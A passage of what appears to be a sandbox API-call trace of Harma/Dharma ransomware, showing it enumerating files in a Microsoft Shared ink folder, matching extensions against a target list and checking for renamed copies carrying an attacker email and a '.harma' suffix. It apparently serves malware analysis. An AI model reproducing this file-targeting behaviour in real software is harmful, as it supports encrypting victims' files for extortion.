returned -1 [0175.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0175.064] lstrlenW (lpString=".1cd") returned 4 [0175.064] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0175.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0175.064] lstrlenW (lpString=".jpg") returned 4 [0175.064] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0175.064] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0175.064] lstrlenW (lpString="Content.xml") returned 11 [0175.064] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0175.065] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2c1ff1c | out: lpFileSize=0x2c1ff1c*=27045) returned 1 [0175.065] CloseHandle (hObject=0x1d4) returned 1 [0175.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0175.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0175.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0175.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0175.065] lstrlenW (lpString=".doc") returned 4 [0175.066] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0175.066] lstrlenW (lpString=".docx") returned 5 [0175.066] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0175.066] lstrlenW (lpString=".pdf") returned 4 [0175.066] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0175.066] lstrlenW (lpString=".xls") returned 4 [0175.066] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0175.066] lstrlenW (lpString=".xlsx") returned 5 [0175.066] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0175.066] lstrlenW (lpString=".ppt") returned 4 [0175.066] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0175.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0175.066] lstrlenW (lpString=".zip") returned 4 [0175.066] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0175.066] lstrlenW (lpString=".rar") returned 4 [0175.066] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0175.066] lstrlenW (lpString=".bz2") returned 4 [0175.066] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0175.066] lstrlenW (lpString=".7z") returned 3 [0175.066] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0175.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0175.066] lstrlenW (lpString=".dbf") returned 4 [0175.066] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0175.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0175.066] lstrlenW (lpString=".1cd") returned 4 [0175.066] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0175.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0175.067] lstrlenW (lpString=".jpg") returned 4 [0175.067] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0175.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0175.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0175.067] lstrlenW (lpString=".doc") returned 4 [0175.067] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0175.067] lstrlenW (lpString=".docx") returned 5 [0175.067] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0175.067] lstrlenW (lpString=".pdf") returned 4 [0175.067] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0175.067] lstrlenW (lpString=".xls") returned 4 [0175.067] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0175.067] lstrlenW (lpString=".xlsx") returned 5 [0175.067] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0175.067] lstrlenW (lpString=".ppt") returned 4 [0175.067] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0175.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0175.067] lstrlenW (lpString=".zip") returned 4 [0175.067] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0175.067] lstrlenW (lpString=".rar") returned 4 [0175.067] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0175.067] lstrlenW (lpString=".bz2") returned 4 [0175.067] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0175.067] lstrlenW (lpString=".7z") returned 3 [0175.067] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0175.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0175.067] lstrlenW (lpString=".dbf") returned 4 [0175.067] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0175.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0175.067] lstrlenW (lpString=".1cd") returned 4 [0175.067] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0175.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0175.068] lstrlenW (lpString=".jpg") returned 4 [0175.068] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0175.068] lstrcmpiW (lpString1=".avi", lpString2=".harma") returned -1 [0175.068] lstrlenW (lpString="boxed-correct.avi") returned 17 [0175.068] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0175.114] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2c1ff1c | out: lpFileSize=0x2c1ff1c*=89600) returned 1 [0175.114] CloseHandle (hObject=0x1d4) returned 1 [0175.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0175.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0175.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0175.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0175.114] lstrlenW (lpString=".doc") returned 4 [0175.114] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0175.114] lstrlenW (lpString=".docx") returned 5 [0175.114] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0175.114] lstrlenW (lpString=".pdf") returned 4 [0175.114] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0175.114] lstrlenW (lpString=".xls") returned 4 [0175.114] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0175.114] lstrlenW (lpString=".xlsx") returned 5 [0175.114] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0175.114] lstrlenW (lpString=".ppt") returned 4 [0175.114] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0175.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0175.114] lstrlenW (lpString=".zip") returned 4 [0175.114] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0175.114] lstrlenW (lpString=".rar") returned 4 [0175.115] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0175.115] lstrlenW (lpString=".bz2") returned 4 [0175.115] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0175.115] lstrlenW (lpString=".7z") returned 3 [0175.115] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0175.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0175.115] lstrlenW (lpString=".dbf") returned 4 [0175.115] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0175.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0175.115] lstrlenW (lpString=".1cd") returned 4 [0175.115] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0175.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0175.115] lstrlenW (lpString=".jpg") returned 4 [0175.115] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0175.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0175.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0175.115] lstrlenW (lpString=".doc") returned 4 [0175.115] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0175.115] lstrlenW (lpString=".docx") returned 5 [0175.115] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0175.115] lstrlenW (lpString=".pdf") returned 4 [0175.115] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0175.115] lstrlenW (lpString=".xls") returned 4 [0175.115] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0175.115] lstrlenW (lpString=".xlsx") returned 5 [0175.115] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0175.115] lstrlenW (lpString=".ppt") returned 4 [0175.115] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0175.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0175.115] lstrlenW (lpString=".zip") returned 4 [0175.115] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0175.116] lstrlenW (lpString=".rar") returned 4 [0175.116] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0175.116] lstrlenW (lpString=".bz2") returned 4 [0175.116] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0175.116] lstrlenW (lpString=".7z") returned 3 [0175.116] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0175.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0175.116] lstrlenW (lpString=".dbf") returned 4 [0175.116] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0175.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0175.116] lstrlenW (lpString=".1cd") returned 4 [0175.116] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0175.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0175.116] lstrlenW (lpString=".jpg") returned 4 [0175.116] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0175.116] lstrcmpiW (lpString1=".avi", lpString2=".harma") returned -1 [0175.116] lstrlenW (lpString="boxed-delete.avi") returned 16 [0175.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0175.117] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2c1ff1c | out: lpFileSize=0x2c1ff1c*=31744) returned 1 [0175.117] CloseHandle (hObject=0x1d4) returned 1 [0175.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0175.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0175.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0175.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0175.117] lstrlenW (lpString=".doc") returned 4 [0175.117] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0175.117] lstrlenW (lpString=".docx") returned 5 [0175.117] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0175.117] lstrlenW (lpString=".pdf") returned 4 [0175.117] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0175.117] lstrlenW (lpString=".xls") returned 4 [0175.118] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0175.118] lstrlenW (lpString=".xlsx") returned 5 [0175.118] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0175.118] lstrlenW (lpString=".ppt") returned 4 [0175.118] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0175.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0175.118] lstrlenW (lpString=".zip") returned 4 [0175.118] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0175.118] lstrlenW (lpString=".rar") returned 4 [0175.118] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0175.118] lstrlenW (lpString=".bz2") returned 4 [0175.118] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0175.118] lstrlenW (lpString=".7z") returned 3 [0175.118] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0175.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0175.118] lstrlenW (lpString=".dbf") returned 4 [0175.118] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0175.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0175.118] lstrlenW (lpString=".1cd") returned 4 [0175.118] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0175.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0175.118] lstrlenW (lpString=".jpg") returned 4 [0175.118] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0175.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0175.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0175.118] lstrlenW (lpString=".doc") returned 4 [0175.118] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0175.118] lstrlenW (lpString=".docx") returned 5 [0175.118] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0175.118] lstrlenW (lpString=".pdf") returned 4 [0175.118] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0175.118] lstrlenW (lpString=".xls") returned 4 [0175.118] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0175.119] lstrlenW (lpString=".xlsx") returned 5 [0175.119] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0175.119] lstrlenW (lpString=".ppt") returned 4 [0175.119] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0175.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0175.119] lstrlenW (lpString=".zip") returned 4 [0175.119] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0175.119] lstrlenW (lpString=".rar") returned 4 [0175.119] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0175.119] lstrlenW (lpString=".bz2") returned 4 [0175.119] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0175.119] lstrlenW (lpString=".7z") returned 3 [0175.119] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0175.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0175.119] lstrlenW (lpString=".dbf") returned 4 [0175.119] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0175.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0175.119] lstrlenW (lpString=".1cd") returned 4 [0175.119] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0175.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0175.119] lstrlenW (lpString=".jpg") returned 4 [0175.119] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0175.119] lstrcmpiW (lpString1=".avi", lpString2=".harma") returned -1 [0175.119] lstrlenW (lpString="boxed-join.avi") returned 14 [0175.119] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0175.120] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2c1ff1c | out: lpFileSize=0x2c1ff1c*=33280) returned 1 [0175.120] CloseHandle (hObject=0x1d4) returned 1 [0175.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0175.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0175.120] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0175.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0175.120] lstrlenW (lpString=".doc") returned 4 [0175.120] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0175.120] lstrlenW (lpString=".docx") returned 5 [0175.120] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0175.120] lstrlenW (lpString=".pdf") returned 4 [0175.120] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0175.120] lstrlenW (lpString=".xls") returned 4 [0175.120] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0175.121] lstrlenW (lpString=".xlsx") returned 5 [0175.121] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0175.121] lstrlenW (lpString=".ppt") returned 4 [0175.121] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0175.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0175.121] lstrlenW (lpString=".zip") returned 4 [0175.121] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0175.121] lstrlenW (lpString=".rar") returned 4 [0175.121] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0175.121] lstrlenW (lpString=".bz2") returned 4 [0175.121] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0175.121] lstrlenW (lpString=".7z") returned 3 [0175.121] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0175.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0175.121] lstrlenW (lpString=".dbf") returned 4 [0175.121] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0175.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0175.121] lstrlenW (lpString=".1cd") returned 4 [0175.121] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0175.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0175.121] lstrlenW (lpString=".jpg") returned 4 [0175.121] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0175.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0175.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0175.121] lstrlenW (lpString=".doc") returned 4 [0175.121] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0175.121] lstrlenW (lpString=".docx") returned 5 [0175.121] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0175.121] lstrlenW (lpString=".pdf") returned 4 [0175.121] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0175.121] lstrlenW (lpString=".xls") returned 4 [0175.121] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0175.122] lstrlenW (lpString=".xlsx") returned 5 [0175.122] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0175.122] lstrlenW (lpString=".ppt") returned 4 [0175.122] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0175.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0175.122] lstrlenW (lpString=".zip") returned 4 [0175.122] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0175.122] lstrlenW (lpString=".rar") returned 4 [0175.122] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0175.122] lstrlenW (lpString=".bz2") returned 4 [0175.122] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0175.122] lstrlenW (lpString=".7z") returned 3 [0175.122] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0175.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0175.122] lstrlenW (lpString=".dbf") returned 4 [0175.122] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0175.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0175.122] lstrlenW (lpString=".1cd") returned 4 [0175.122] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0175.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0175.122] lstrlenW (lpString=".jpg") returned 4 [0175.122] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0175.122] lstrcmpiW (lpString1=".avi", lpString2=".harma") returned -1 [0175.122] lstrlenW (lpString="boxed-split.avi") returned 15 [0175.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0175.123] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2c1ff1c | out: lpFileSize=0x2c1ff1c*=62976) returned 1 [0175.123] CloseHandle (hObject=0x1d4) returned 1 [0175.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0175.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0175.123] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0175.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0175.123] lstrlenW (lpString=".doc") returned 4 [0175.123] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0175.123] lstrlenW (lpString=".docx") returned 5 [0175.123] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0175.123] lstrlenW (lpString=".pdf") returned 4 [0175.123] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0175.123] lstrlenW (lpString=".xls") returned 4 [0175.123] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0175.123] lstrlenW (lpString=".xlsx") returned 5 [0175.124] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0175.124] lstrlenW (lpString=".ppt") returned 4 [0175.124] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0175.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0175.124] 